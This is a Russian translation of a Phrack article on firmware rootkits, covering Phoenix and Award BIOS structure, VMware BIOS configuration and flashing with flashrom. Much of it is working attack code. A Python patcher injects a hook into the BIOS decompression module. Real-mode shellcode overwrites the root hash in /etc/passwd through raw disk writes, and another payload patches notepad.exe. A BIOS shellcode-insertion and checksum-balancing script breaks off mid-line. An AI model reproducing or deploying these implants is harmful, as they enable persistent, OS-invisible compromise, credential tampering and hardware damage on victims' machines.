Авторы: aLS и Alfredo
Переводчик: Ex0rcist
Оригинал (EN): www.phrack.org
Источник (RU): www.reverse4you.org
Persistent BIOS Infection

2010

------[ 0.- Предисловие

Уважаемые пользователи, если вы читаете эту статью, мы можем предположить, что вы уже знаете, что такое BIOS и как он работает. Или, по крайней мере, вы имеете общtе представление о том, что делает BIOS, и его значение для нормальной работы компьютера. Основываясь на этом, мы кратко объясним некоторые основные понятия, чтобы ввести в курс дела, а затем мы будем переходить к более актуальным техническим тонкостям.

------[ 1.- Введение

На протяжении многих лет многое было сказано по этой теме. Но кроме старого вируса Chernobyl, который просто обнулял BIOS, если твоя материнская плата была одной из поддерживаемых, или для некоторых изменений для моддинга, такими как работа Pinczakko, мы не в состоянии найти общедоступные разработки, характерные для определенного класса вредоносных BIOS инфекций. Люди, как правило, думают, что эта тема раскурена вдоль и поперек, стара и имеются готовые разработки. Иногда даже путают с MBR вирусами. Мы намерены показать, что такой тип атаки возможен и может быть очень надежным и стойким руткитом, находясь в прошивке BIOS и оставаясь невидимой для ОС инфекцией.

В этой статье мы покажем универсальный метод, чтобы внедрить код в BIOS прошивки. Этот метод позволит нам встроить наш собственный код в BIOS прошивки так, что он будет выполнен непосредственно перед загрузкой операционной системы.

Мы также продемонстрируем, как с контролем жесткого диска или просто путем изменения конфиденциальных данных ОС в Linux box, развертывать полностью функциональный код непосредственно в процесс Windows.


---[ 1.1 - Назначение статьи

Основной идеей данной работы является показать то, как BIOS прошивки можно модифицировать и использовать как метод сохранения контроля после успешного рутанья. Ну, начнем потихонечку и постепенно будем рассматривать возникающие вопросы, разделив статью в двух основных направлениях:

- Модификации VMWare's (Phoenix) BIOS

- Рельные модификации BIOS

В каждом разделе мы расскажем основные моменты, чтобы показать, как провести атаку, а затем перейдем непосредственно к рассмотрению кода.


------[ 2.- Основы BIOS

---[2.1 - Введение в BIOS

Из википедии:





---[2.1.1 - Железо

Еще в 80-х BIOS прошивки загружались в ПЗУ или ППЗУ чипы, которые не могли быть изменены, но в настоящее время эта прошивка хранится в EEPROM (электрически стираемая программируемая Read-Only память). Этот вид памяти разрешает пользователю перепрошивать его, позволяя поставщику создавать обновления встроенного программного обеспечения для того чтобы исправить ошибки, добавить поддержку нового железа и функциональности.

---[2.1.2 - Как это работает?

BIOS имеет очень важное значение в работе компьютера. Он должен быть всегда доступен, как первая инструкция, выполняемая центральным процессором, при его включении. Вот почему он хранится в ROM.

Первый модуль BIOS называется загрузочный блок (Bootblock) и отвечает за POST (Power-On Self-Test) и аварийную загрузочную процедуру. POST является общим термином предварительной загрузки для компьютера, маршрутизатора или принтера. Он должен протестировать и инициализировать почти все аппаратные компоненты в системе, чтобы убедиться, что все работает правильно.

Современный BIOS имеет модульную структуру, что означает, что есть несколько модулей, интегрированных в одну прошивку, каждый из которых отвечает за конкретные задачи, от аппаратной инициализации до безопасности.

Каждый модуль является сжатым, поэтому есть точный алгоритм декомпрессии, отвечающий за декомпрессию и проверку других модулей, которые впоследствии будут выполняться.

После декомпрессии, определяются другие аппаратные средства, такие как PCI ROM (если необходимо), и в конце концов, в поисках загрузчика, читается 0 сектор жесткого диска (MBR), чтобы начать загрузку операционной системы.


---[2.2 - Файловая структура прошивки

Как мы упоминали ранее, прошивка BIOS имеет модульную структуру. При хранении в нормальном файле, он состоит из нескольких LZH сжатых модулей, каждый из которых содержит 8 бит контрольной суммы. Однако, не все модули являются сжатыми. Несколько модулей, такие как загрузочный блок (Bootblock) и алгоритм декомпрессии, явно не сжаты, потому что они являются фундаментальной частью процесса загрузки и должны выполнять декомпрессию других модулей. Далее мы увидим, почему для нас это так удобно.

Мы имеем выход Phnxdeco (доступны в Debian репозитории), открытый исходный код для разбора и анализа прошивки Phoenix BIOS ROM (то, что собираемся извлечь в 3.1.1):

Код:
+-------------------------------------------------------------------------+
| Class.Instance (Name)     Packed --->  Expanded      Compression  Offse |
+-------------------------------------------------------------------------+

B.03 (    BIOSCODE)   06DAF (28079) => 093F0 ( 37872)  LZINT ( 74%)  446DFh
B.02 (    BIOSCODE)   05B87 (23431) => 087A4 ( 34724)  LZINT ( 67%)  4B4A9h
B.01 (    BIOSCODE)   05A36 (23094) => 080E0 ( 32992)  LZINT ( 69%)  5104Bh
C.00 (      UPDATE)   03010 (12304) => 03010 ( 12304)   NONE (100%)  5CFDFh
X.01 (     ROMEXEC)   01110 (04368) => 01110 (  4368)   NONE (100%)  6000Ah
T.00 (    TEMPLATE)   02476 (09334) => 055E0 ( 21984)  LZINT ( 42%)  63D78h
S.00 (     STRINGS)   020AC (08364) => 047EA ( 18410)  LZINT ( 45%)  66209h
E.00 (       SETUP)   03AE6 (15078) => 09058 ( 36952)  LZINT ( 40%)  682D0h
M.00 (       MISER)   03095 (12437) => 046D0 ( 18128)  LZINT ( 68%)  6BDD1h
L.01 (        LOGO)   01A23 (06691) => 246B2 (149170)  LZINT (  4%)  6EE81h
L.00 (        LOGO)   00500 (01280) => 03752 ( 14162)  LZINT (  9%)  708BFh
X.00 (     ROMEXEC)   06A6C (27244) => 06A6C ( 27244)   NONE (100%)  70DDAh
B.00 (    BIOSCODE)   001DD (00477) => 0D740 ( 55104)  LZINT (  0%)  77862h
*.00 (      TCPA_*)   00004 (00004) => 00004 (   004)   NONE (100%)  77A5Ah
D.00 (     DISPLAY)   00AF1 (02801) => 00FE0 (  4064)  LZINT ( 68%)  77A79h
G.00 (  DECOMPCODE)   006D6 (01750) => 006D6 (  1750)   NONE (100%)  78585h
A.01 (        ACPI)   0005B (00091) => 00074 (   116)  LZINT ( 78%)  78C76h
A.00 (        ACPI)   012FE (04862) => 0437C ( 17276)  LZINT ( 28%)  78CECh
B.00 (    BIOSCODE)   00BD0 (03024) => 00BD0 (  3024)   NONE (100%)  7D6AAh
Мы видим здесь различные части файла прошивки, содержащие DECOMPCODE раздел, где расположен алгоритм декомпрессии, а также другие, не рассматриваемые в этой статье параметры.


---[2.3 - Обновление

Программное обеспечение BIOS не так уж сильно отличается от любого другого программного обеспечения. Это относится к ошибкам, которые можно встретить и в другом программном обеспечении. С новыми версиями выходит поддержка нового железа, дополнения, исправление ошибок и т. д. Но процесс обновления может быть очень опасным на реальной машине. BIOS является одним из основных компонентов компьютера. Это первая часть кода, выполняемая при включении машины. Именно поэтому мы должны быть очень осторожны, когда делаем такого рода вещи. Неудачное обновление BIOS может привести к зависанию машины. И ты соснешь тунца.

Вот почему так важно иметь такую платформу для тестирования как VMWare. По крайней мере на первое время, потому что, как мы увидим далее, есть много различий между VMware и реальным железом.


------[ 3 .- Заражение BIOS

--- [3.0 - Первичная настройка

--- [3.1 - Модификация VMware (Phoenix) BIOS

Во-первых, мы должны получить действительную прошивку VMWARE BIOS для работы. Для того чтобы читать EEPROM (где хранится прошивка BIOS) нам необходимо запустить код в режиме отладки ядра, чтобы отправлять и получать данные непосредственно в южный мост через порты ввода-вывода. Для этого нам также необходимо знать некоторые конкретные данные о текущем оборудовании. Эти данные обычно предоставляются производителем. Более того, почти все поставщики плат предоставляют некоторые инструменты для обновления BIOS, и очень часто они имеют возможность резервного копирования существующей прошивки.

В VMWare мы не можем использовать эти инструменты, потому что эмулируемое железо не имеет ту же функциональность, как реальное оборудование. В этом есть смысл... Почему бы не обновить VMWare BIOS изнутри...?

---[3.1.1 - Дамп VMWare BIOS

Для начала было бы неплохо иметь встроенный GDB сервер, который предлагает VMWare. Он позволяет нам производить отладку и понимать, что происходит. Таким образом, в целях исправления и изменения некоторых маленьких кусков кода, чтобы начать тестирование, мы использовали некоторые случайные массивы байтов в качестве шаблонов для поиска BIOS в памяти.П роделывая это, мы обнаружили, что в VMware-VMX существует основная исполняемая VMware секция, весом почти 256кб, которая называется .bios440 (которая в нашей версии VMware находится между смещением в файле 0x6276c7-0x65B994). Она содержит всю прошивку BIOS, точно так же, как и в обычном файле, готовом к выполнению.Вы можете использовать objdump для того чтобы видеть разделы файла:

Код:
objdump -h vmware-vmx
И вы можете сдампить его, используя инструмент objcopу:

Код:
objcopy -j .bios440 -O binary --set-section-flags .bios440=a \ 
vmware-vmx bios440.rom.zl
Ммм... Это означает, что... если у нас есть привилегии на машине жертвы, мы можем изменить исполняемый VMware-VMX, вставляя наш собственный инфицированный BIOS, и он будет выполняться каждый раз, когда загружается VMware. Для каждого из VMware на компьютер. Sweet!

Но Существуют более простые способы решения этой задачи. Мы собираемся изменить его несколько раз, и он не будет работать все время... Чем проще, тем лучше.


---[3.1.2 - Настройка VMWARE для загрузки альтернативного BIOS

Мы поняли, что VMWare предлагает очень практичный путь, чтобы пользователь мог использовать конкретный файл прошивки BIOS прямо через файл конфигурации .VMX. Существует не очень известный тег, который называется "bios440.filename" и он позволяет избегать использование встроенного в VMWare BIOS и вместо этого позволяет нам указать BIOS файл, который нужно использовать. Добавь в файл .VMX следующий код:

Код:
bios440.filename = "path/to/file/bios.rom"
На нах! Теперь у нас есть другая прошивка BIOS, которая работает в нашей VM, и в сочетании с:

Код:
debugStub.listen.guest32 = "TRUE" or
debugStub.listen.guest64 = "TRUE"
ставит GDB заглушки на VMWare и ждет вашего соединения на локальный порт 8832. И мы в конечном итоге с остаемся с отличной и полностью поддающейся отладке исследовательской платформой. Нравится? Другими важными скрытыми тегами, которые могут быть полезны, являются:

Код:
        bios.bootDelay = "3000"                  # Для задержки загрузки X
                                                   миллисекундах
        debugStub.hideBreakpoints = "TRUE"       # Позволяет GDB
                                                   работать с остановками
        debugStub.listen.guest32.remote = "TRUE" # Для отладки с 
                                                   другой машины (32bit)
        debugStub.listen.guest64.remote = "TRUE" # Для отладки с 
                                                   другой машины (64bit)
        monitor.debugOnStartGuest32 = "TRUE"     # Позволяет остановить VM
                                                   на первой инструкции
                                                   по адресу 0xFFFF0

---[3.1.3 - Распаковка прошивки

Как мы уже говорили, некоторые из модулей сжаты LZH. Есть несколько доступных средств для извлечения и распаковки каждого отдельного модуля файла прошивки. Наиболее часто используемыми являются Phnxdeco и Awardeco (два отличных Linux GPL инструмента) совместно с Phoenix BIOS Editor и Award BIOS Editor (не GPL инструменты для Windows).
Если хочешь, можешь использовать Phoenix BIOS Editor в Linux с помощью wine. Он будет извлекать все модули в каталог/временный каталог внутри Phoenix BIOS Editor, которые готовы к открытию привычным тебе дизассемблером. Хорошей возможностью Phoenix BIOS Editor является то, что он также может восстанавливать основной файл прошивки. Он может сжимать и встраивать различные распакованные модули, чтобы прошивка была в неизменном виде. Учти, что эта функция была сделана для последних версий Phoenix BIOS и он пропускает проверку контрольной суммы, поэтому нам придется делать это вручную (мы увидим это в 3.2.2.1)

Некоторые из этих задач выполняются отдельными инструментами, которые могут быть вызваны непосредственно из командной строки, что является очень удобным, для того чтобы автоматизировать процесс для исследования простых скриптов.

---[3.1.4 - Модификации

Итак, вот мы и приблизились к самому интересному. У нас есть все распакованные модули, и возможность их изменения, а затем и восстановления в полностью рабочий BIOS Flash Update. Первая фраза, которая приходит на ум это, "где патчить?". Мы можем поставить "ловушку" на выполнение нашего кода почти в любом месте. Но мы должны все продумать, прежде чем решить о том, в каком месте патчить.
В начале мы думали о подключении к первой инструкции, которую выполняет процессор, а именно 0xF000: FFF0. Это казалось самым лучшим вариантом, потому что эта команда всегда в точном месте, и ее легко найти. Но мы должны принимать во внимание сам процесс выполнения. Чтобы наш код работал, все распознавание оборудования должно производится нами (DRAM, северный мост, кэш, PCI и т.д.)

Например, если мы хотим иметь доступ к жестким дискам, мы должны быть уверены, что, при выполнении нашего кода, мы уже имеем доступ к жесткому диску. По этой причине мы выбрали для подключения алгоритм декомпрессии. Также это удобно потому, что он не меняется от версии к версии. Кроме того, его очень легко найти путем поиска по шаблону. Он не сжат и вызывается много раз в течение последовательной загрузки BIOS, что дает нам возможность проверить, все ли необходимые службы доступны и приступить к реальным вещам. Далее мы имеем дамп скрипта для быстрого извлечения прошивки модулей, сбора данных, их внедрения, и компиляции измененного файла прошивки. PREPARE.EXE и CATENATE.EXE являются собственными инструменты создания прошивки Phoenix, которые можно найти в Phoenix BIOS Editor, а также в комплекте с другими инструментами. В более поздних версиях скрипта эти инструменты не нужны (как показано в 3.2.2.1).

Код:
#!/usr/bin/python import os,struct

#--------------------------- Decomp processing ------------------------------
#assemble the whole code to inject
os.system('nasm ./decomphook.asm')
decomphook = open('decomphook','rb').read()
print "Leido hook: %d bytes" % len(decomphook)
minihook = '\x9a\x40\x04\x3b\x66\x90' # call near +0x430

#Load the decompression rom
decorom = open('DECOMPC0.ROM.orig','rb').read()

#Add the hook
hookoffset=0x23
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]

#Add the shellcode
decorom+="\x90"*100+decomphook
decorom=decorom+'\x90'*10

#recalculate the ROM size
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]

#Save the patched decompression rom
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()

#Compile 
print "Prepare..."
os.system('./PREPARE.EXE ./ROM.SCR.ORIG')
print "Catenate..."
os.system('./CATENATE.EXE ./ROM.SCR.ORIG')
os.system('rm *.MOD')
---[3.1.5 - Подгрузка

Прежде чем говорить о подгрузке, мы должны решить, "где" мы будем хранить нашу подгрузку, и это не тривиальная задача. Мы обнаружили, что существует много заполняемого пространства в конце алгоритма декомпрессии, которое при выделении будет использоваться как буфер для хранения распакованного кода. Таким образом, мы будем внедрять любой код, который нам нужен. Это немного усложняет подгрузку, потому что при этом требуется разбить шеллкод на два участка. Первый выполняется при внедрении в начале алгоритма декомпрессии. Простой вызов, который перенаправляет исполняемый поток на наш код и далее ко второму безопасному этапу, который, как мы знаем, остается неиспользованным в течение всего процесса подгрузки. Затем, обновляя код, указывает новый адрес и выполняет исходные инструкции.

Давай посмотрим код:

Код:
|-----------------------------------------------------------|

BITS 16

;Extent to search (in 64K sectors, aprox 32 MB)
%define EXTENT 10 

start_mover:

   ;save regs
   ;jmp start_mover
    pusha
    pushf

   ; set dst params to move the shellcode
    xor ax, ax
    xor di, di
    xor si, si
    push cs
    pop ds
    mov es, ax ; seg_dst
    mov di, 0x8000 ; off_dst
    mov cx, 0xff ; code_size

   ; get_eip to have the 'source' address
    call b
b:
    pop si
    add si, 0x25  (Offset needed to reach the second stage payload)
    rep movsw

    mov ax, word [esp+0x12] ; get the caller address to patch the original hook
    sub ax, 4
    mov word [eax], 0x8000 ; new_hook offset
    mov word [eax+2], 0x0000 ; new_hook segment

    ; restore saved regs
    popf
    popa

    ; execute code smashed by 'call far'
    ;mov es,ax
    mov bx,es
    mov fs,bx
    mov ds,ax
    retf
		
		
    ;Here goes a large nopsled and next, the second stage payload
		
	|------------------------------------------------------------|
Bторой этап, в настоящее время находящийся в неиспользуемом пространстве, должен получить несколько готовых сигналов, чтобы знать, доступны ли сервисы, которые мы хотим использовать.


---[3.1.5.1 - Готовый сигнал

В VMWare мы видели, что когда наша подгрузка на второй стадии, и IVT уже инициализирован, у нас есть все, что нам нужно. Исходя из этого мы решили использовать IVT инициализацию, как сигнал готовности. Это очень просто, потому что всегда отображается на 0000:0000. Каждый раз, когда шеллкод запускается на выполнение, проверяем, инициализируется ли IVT с правильными указателями, выполняется ли шеллкод, если нет, то возвращается, ничего не делая.


---[3.1.5.1 - The Real stuff

Что же мы будем делать теперь, когда у нас есть исполняемый код, и мы знаем, что у нас есть все сервисы? Мы не можем взаимодействовать с ОС отсюда. В этот момент операционная система просто массив символов, находящийся на диске. Погоди! Мы же имеем доступ к диску через Int 13h (низкоуровневая служба). Мы можем изменить его в любое время, какое нам нужно! Оке, давай попробуем это проделать. При реальной реализации вредоносного кода тебе нужно накодить некий основной драйвер, чтобы корректно различать файловые системы, по крайней мере FAT и NTFS (возможно также использование GRUB или LILO). Для этой статьи, в доказательство концепции, мы будем использовать Int 13h для последовательного чтения диска в нестандартном режиме. Мы будем реализовывать все это дело через (_о_), но как мы говорили ранее, в общем случае, изменение, добавление и удаление любых файлов на диске позволет злоумышленнику изменять модули драйверов, заражать файлы, отключать антивирус или антируткиты и т.д.

Используем шеллкод, с помощью которого мы просмотрим весь диск в соответствии с маской: "root:$", чтобы найти запись /etc/passwd. Затем мы заменим root хэш нашим собственным хэшем, установив пароль "root" для суперпользователя.

Код:
-------------------------------------------------------------
; The shellcode doesn't have any type of optimization, we tried to keep it 
; simple, 'for educational purposes' 

; 16 bit shellcode
; use LBA disk access to change root password to 'root'

BITS 16	
	push es
	push ds
	pushad
	pushf

	; Get code address
	call gca
gca:    pop bx

	; construct DAP
	push cs
	pop ds
	mov si,bx
	add si,0x1e0 ; DAP 0x1e0 from code
	mov cx,bx
	add cx,0x200 ; Buffer pointer 0x200 from code
	mov byte [si],16 ;size of SAP
	inc si
	mov byte [si],0  ;reserved
	inc si
	mov byte [si],1  ;number of sectors
	inc si
	mov byte [si],0  ;unused
	inc si
	mov word [si],cx ;buffer segment
	add si,2
	mov word [si],ds;buffer offset
	add si,2
	mov word [si],0 ; sector number
	add si,2
	mov word [si],0 ; sector number
	add si,2
	mov word [si],0 ; sector number
	add si,2
	mov word [si],0 ; sector number

	mov di,0
	mov si,0
mainloop:
	push di
	push si
		        
	;-------- Inc sector number
	mov cx,3
	mov si,bx
	add si,0x1e8
loopinc:
	mov ax,word [si]
	inc ax
	mov word [si],ax
	cmp ax,0
	jne incend
	add si,2
	loop loopinc
incend:
	;-------- LBA extended read sector
	mov ah,0x42 ; call number
	mov dl,0x80 ; drive number 0x80=first hd
	mov si,bx
	add si,0x1e0
	int 0x13
	jc mainend
	nop
	nop
	nop

	;-------- Search for 'root'
	mov di,bx
	add di,0x200 ; pointer to buffer
	mov cx,0x200 ; 512 bytes per sector
searchloop:
	cmp word [di],'ro'
	jne notfound
	cmp word [di+2],'ot'
	jne notfound
	cmp word [di+4],':$'
	jne notfound
	jmp found ; root found!
notfound:
	inc di
	loop searchloop

endSearch:
	pop si
	pop di

	inc di
	cmp di,0
	jne mainloop
	inc si
	cmp si,3
	jne mainloop

mainend:
	popf
	popad
	pop ds
	pop es
	int 3
found:
;replace password with: 
;root:$2a$08$Grx5rDVeDJ9AXXlXOobffOkLOnFyRjk2N0/4S8Yup33sD43wSHFzi:
;Yes we could've used rep movsb, but we kinda suck.
	mov word[di+6],'2a'
	mov word[di+8],'$0'
	mov word[di+10],'8$'
	mov word[di+12],'Gr'
	mov word[di+14],'rD'
	mov word[di+16],'Ve'
	mov word[di+18],'DJ'
	mov word[di+20],'9A'
	mov word[di+22],'XX'
	mov word[di+24],'lX'
	mov word[di+26],'Oo'
	mov word[di+28],'bf'
	mov word[di+30],'fO'
	mov word[di+32],'kL'
	mov word[di+34],'On'
	mov word[di+36],'Fy'
	mov word[di+38],'Rj'
	mov word[di+40],'k2'
	mov word[di+42],'N0'
	mov word[di+44],'/4'
	mov word[di+46],'S8'
	mov word[di+48],'Yu'
	mov word[di+52],'p3'
	mov word[di+54],'3s'
	mov word[di+56],'D4'
	mov word[di+58],'3w'
	mov word[di+60],'SH'
	mov word[di+62],'Fz'
	mov word[di+64],'i:'
	;-------- LBA extended write sector
	mov ah,0x43 ; call number
	mov al,0 ; no verify 
	mov dl,0x80 ; drive number 0x80=first hd
	mov si,bx
	add si,0x1e0
	int 0x13
	jmp mainend
Этот код также представляет собой подгрузку, но в этом случае мы ищем по всему диску, пытаясь сопоставить шаблон внутри notepad.exe, и затем вводим кусок кода с простым вызовом MessaBoxA и ExitProcess, для его красивого завершения.

Код:
		hook_start:
			nop
			nop
			nop
			nop
			nop
			nop
			nop
			nop
			nop
			nop
			nop
			nop
			nop
			nop
			nop
		        ;jmp hook_start
		        ;mov bx,es
		        ;mov fs,bx
		        ;mov ds,ax
		        ;retf

		        pusha
		        pushf
		        xor di,di
			mov ds,di
			; check to see if int 19 is initialized
			cmp byte [0x19*4],0x00 
			jne ifint

		noint:
		        ;jmp noint ; loop to debug
		        popf
		        popa
		        ;mov es, ax
		        mov bx, es
			mov fs, bx
			mov ds, ax
		        retf


		ifint:
		        ;jmp ifint ; loop to debug
			cmp byte [0x19*4],0x46
		        je noint

		;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

		initShellcode:
		    ;jmp initShellcode ; DEBUG
		    cli
		    push es
		    push ds
		    pushad
		    pushf

		    ; Get code address
		    call gca

		gca:
		    pop bx
		    ;---------- Set screen mode
		    mov ax,0x0003
		    int 0x10
		    ;---------- construct DAP
		    push cs
		    pop ds
		    mov si,bx
		    add si,0x2e0 ; DAP 0x2e0 from code
		    mov cx,bx
		    add cx,0x300 ; Buffer pointer 0x300 from code
		    mov byte [si],16 ;size of SAP
		    inc si
		    mov byte [si],0  ;reserved
		    inc si
		    mov byte [si],1  ;number of sectors
		    inc si
		    mov byte [si],0  ;unused
		    inc si
		    mov word [si],cx ;buffer segment
		    add si,2
		    mov word [si],ds;buffer offset
		    add si,2
		    mov word [si],0 ; sector number
		    add si,2
		    mov word [si],0 ; sector number
		    add si,2
		    mov word [si],0 ; sector number
		    add si,2
		    mov word [si],0 ; sector number

		    mov di,0
		    mov si,0

		    ;-------- Function 41h: Check Extensions
		    push bx
		    mov ah,0x41 ; call number
		    mov bx,0x55aa;
		    mov dl,0x80 ; drive number 0x80=first hd
		    int 0x13
		    pop bx
		    jc mainend_near
		    ;-------- Function 00h: Reset Disk System
		    mov ah, 0x00
		    int 0x13
		    jc mainend_near
		    jmp mainloop
		mainend_near:
		    jmp mainend
		mainloop:
		    cmp di,0
		    jne nochar
		    ;------- progress bar (ABCDE....)
		    push bx
		    mov ax,si
		    mov ah,0x0e
		    add al,0x41
		    mov bx,0
		    int 0x10
		    pop bx
		nochar:
		    push di
		    push si
		    ;jmp incend    ;
		    ;-------- Inc sector number
		    mov cx,3
		    mov si,bx      ; bx = curr_pos 
		    add si,0x2e8   ; +2e8 LBA Buffer

		loopinc:
		    mov ax,word [si]
		    inc ax
		    mov word [si],ax
		    cmp ax,0
		    jne incend
		    add si,2
		    loop loopinc

		incend:
		LBA_read:
		    ;jmp int_test
		    ;-------- LBA extended read sector
		    mov ah,0x42 ; call number
		    mov dl,0x80 ; drive number 0x80=first hd
		    mov si,bx
		    add si,0x2e0
		    int 0x13
		    jnc int13_no_err
		    ;-------- Write error character
		    push bx
		    mov ax,0x0e45
		    mov bx,0x0000
		    int 0x10
		    pop bx
		int13_no_err:
		    ;-------- Search for 'root'
		    mov di,bx
		    add di,0x300 ; pointer to buffer
		    mov cx,0x200 ; 512 bytes per sector

		searchloop:
		    cmp word [di],0x706a
		    jne notfound
		    cmp word [di+2],0x9868
		    jne notfound
		;debugme:
		;    je debugme
		    cmp word [di+4],0x0018
		    jne notfound
		    cmp word [di+6],0xe801  
		    jne notfound
		    jmp found ; root found!


		notfound:
		    inc di
		    loop searchloop

		endSearch:
		    pop si
		    pop di

		    inc di
		    cmp di,0
		    jne mainloop
		    inc si
		    cmp si,EXTENT ;------------ 10x65535 sectors to read
		    jne mainloop
		    jmp mainend

		exit_error:  
		    pop si
		    pop di

		mainend:
		    popf
		    popad
		    pop ds
		    pop es
		    sti

		    popf
		    popa
		    mov bx, es
		    mov fs, bx
		    mov ds, ax
		    retf

		writechar:
		    push bx
		    mov ah,0x0e
		    mov bx,0x0000
		    int 0x10
		    pop bx
		    ret
		found:
		    mov al,0x46
		    call writechar

    		;mov word[di], 0xfeeb ; Infinite loop - Debug
		    mov word[di], 0x00be
		    mov word[di+2], 0x0100
		    mov word[di+4], 0xc700
		    mov word[di+6], 0x5006
		    mov word[di+8], 0x4e57
		    mov word[di+10], 0xc744
		    mov word[di+12], 0x0446
		    mov word[di+14], 0x2121
		    mov word[di+16], 0x0100
		    mov word[di+18], 0x016a
		    mov word[di+20], 0x006a
		    mov word[di+22], 0x6a56
		    mov word[di+24], 0xbe00
		    mov word[di+26], 0x050b
		    mov word[di+28], 0x77d8
		    mov word[di+30], 0xd6ff
		    mov word[di+32], 0x00be
		    mov word[di+34], 0x0000 
		    mov word[di+36], 0x5600
		    mov word[di+38], 0xa2be
		    mov word[di+40], 0x81ca
		    mov word[di+42], 0xff7c
		    mov word[di+44], 0x90d6

		;-------- LBA extended write sector
		    mov ah,0x43 ; call number
		    mov al,0 ; no verify 
		    mov dl,0x80 ; drive number 0x80=first hd
		    mov si,bx
		    add si,0x2e0
		    int 0x13
		    jmp notfound; continue searching
		    nop

---[3.2 - Реальные модификации BIOS

VMWare - отлично подходит для исследования BIOS и разработоки платформы. Но для завершения этого исследования, мы должны атаковать реальную систему. Для этого мы использовали обычную материнскую плату (Asus A7V8X-MX) очень популярной версией Award-Phoenix 6.00 PG BIOS.


---[3.2.1 - Дамп прошивки BIOS

Флэш-микросхемы отлично совместимы, и даже взаимозаменяемы. Но они подключаются к материнской плате по-разному (PCI, ISA bridge, и т.д.), что, в общем случае, делает чтение довольно сложной адачей. Как же мы сможем сделать руткит, если мы даже не можем найти способ надежно читать память? Конечно, одним из решений может являться Flash reader, но на данном этапе мы его не имеем, и это не вариант, если ты хочешь удаленно заразить BIOS без физического доступа. Поэтому мы начали искать программные альтернативы. Первый инструмент, который мы нашли, работал неплохо. Это утилита FlashROM от проекта coreboot с открытым исходным кодом, см. [COREBOOT] (также имеется в Debian репозиториях). Она содержит обширную базу данных чипов и обладает read/write методами. Мы обнаружили, что она почти всегда работает, даже если придется вручную указать модель IC, потому что утилита не всегда распознает их автоматически.

Код:
$ flashrom -r mybios.rom
Как правило, команда, указанная выше - это все, что вам нужно. BIOS должен быть в mybios.rom файле. Фишка в том, что если он говорит, что не может обнаружить чип, ты должны написать скрипт, чтобы попытаться заюзать все известные чипы. Нам еще предстоит найти BIOS'ы, которые не могут быть считаны с помощью этой методики. Запись немного сложнее, так как FlashROM'y необходимо правильно определить IC, что позволит ему запись. Это ограничение можно обойти путем изменения исходного кода. Но нужно учитывать, что в этом случае можно нахер спалить свою материнку.

Мы также использовали FlashROM в общем случае для загрузки измененного BIOS на материнскую плату.


---[3.2.2 - Модификация

После того как мы получили образ BIOS, мы можем начать процесс вставки вредоносного кода. При изменении реального BIOS'a, в частности Award / Phoenix BIOS'a, мы столкнулись с некоторыми большими проблемами:
1) отсутствие документации BIOS структуры
2) отсутствие инструментов упаковки / распаковки
3) отсутствие способа отладки оборудования.

Есть множество бесплатных инструментов для управления BIOS, но как всегда получается с собственными разработками форматов, мы не могли найти инструмент, который работал бы именно с нашей прошивкой. Мы можем использовать утилиты Linux awardeco и phnxdeco в качестве отправной точки, но они часто работают со сбоями на современных BIOS версиях.

Наш план для получения исполняемого кода таков:
1) мы должны сделать произвольные изменения (мы должны знать позиции контрольной суммы и алгоритмы)
2) основной код должен быть вставлен в общей, легкодоступной части BIOS.
3) после выполнения кода, может быть вставлен Shellcode.


---[3.2.2.0 - Black Screen of Death

Ты должен понимать, что сломаешь много BIOS чипов, проделывая эти трюки. Но большинство BIOS имеют механизм безопасности для восстановления поврежденной прошивки. RTFM (читаймануалы по
материнской плате).

Если это не поможет, ты можешь использовать чип для "горячей замены": ты грузишься с рабочего чипа, затем делаешь его "горячую замену" на поврежденный, и перепрошиваешь. Конечно, для этой техники у тебя должен быть резервный рабочий BIOS.


--- [3.2.2.1 - Изменение бита в единицу времени

Наши первые попытки были неудачными и почти всегда система не загружалась. В основном мы не обращали внимания, сколько контрольных сумм имеет BIOS, но ты должен будешь пропатчить каждую или лицезреть ошибку "BIOS CHECKSUM ERROR" на черном экране смерти. Черный экран смерти дает нам подсказку, он говорит: "контрольная сумма". Скорее всего он должен быть каким-то дополнением, сравневаемым с числом. И этот вид проверки можно легко обойти, внедряя значение в определенное место, которое будет являться "дополнением". Разве это не весомая причина для создания CRC? Оказывается, что все контрольные суммы были 8-битными, и, коснувшись только одного байта в конце шеллкода, все контрольные суммы были правильными. Можно написать очень простой алгоритм на вложения внутри этого Python скрипта:

Код:
-------------------------------------------------------------
	modifBios.py

	#!/usr/bin/python
	import os,sys,math

	# Usage
	if len(sys.argv)<3:
        	print "Modify and recalculate Award BIOS checksum"
	        print "Usage: %s <original bios> <assembly shellcode 
		file>" % (sys.argv[0])
        	exit(0)

	# assembly the file
	scasm = sys.argv[2]
	sccom = "%s.bin" % scasm
	os.system("nasm %s -o %s " % (scasm,sccom) )
	shellcode = open(sccom,'rb').read()
	shellcode = shellcode[0xb55:] # skip the NOPs
	os.unlink(sccom)
	print ("Shellcode lenght: %d" % len(shellcode))

	# Make a copy of the original BIOS
	modifname = "%s.modif" % sys.argv[1]
	origname = sys.argv[1]
	os.system("cp %s %s" % (origname,modifname) )

	#merge shellcode with original flash
	insertposition = 0x3af75
	modif = open(modifname,'rb').read()
	os.unlink(modifname)
	newbios=modif[:insertposition]
	newbios+=shellcode
	newbios+=modif[insertposition+len(shellcode):]
	modif=newbios
	#insert hook
	hookposition = 0x3a41d
	hook="\xe9\x55\x0b" # here is our hook,
			    # at the end of the bootblock
	newbios=modif[:hookposition]
	newbios+=hook
	newbios+=modif[hookposition+len(hook):]
	modif=newbios

	#read original flash
	orig  = open(sys.argv[1],'rb').read()
	
	# calculate original and modified checksum
	# Sorry, this script is not *that* generic
	# you will have to harvest these values
	# manually, but you can craft an automatic
	# one using pattern search. 
	# These offsets are for the Asus A7V8X-MX
	# Revision 1007-001
	
	start_of_decomp_blk=0x3a400
	start_of_compensation=0x3affc
	end_of_decomp_blk=0x3b000
	
	ochksum=0 # original checksum
	mchksum=0 # modified checksum
	
	for i in range(start_of_decomp_blk,start_of_compensation):
		ochksum+=ord(orig[i])
		mchksum+=ord(modif[i])
	print "Checksums: Original= %08X Modified= %08X" % (ochksum,mchksum)
	
	# calculate difference

	chkdiff = (mchksum & 0xff) - (ochksum & 0xff)

	print "Diff : %08X" % chkdiff
	
	# balance the checksum
	newbios=modif[:start_of_compensation]
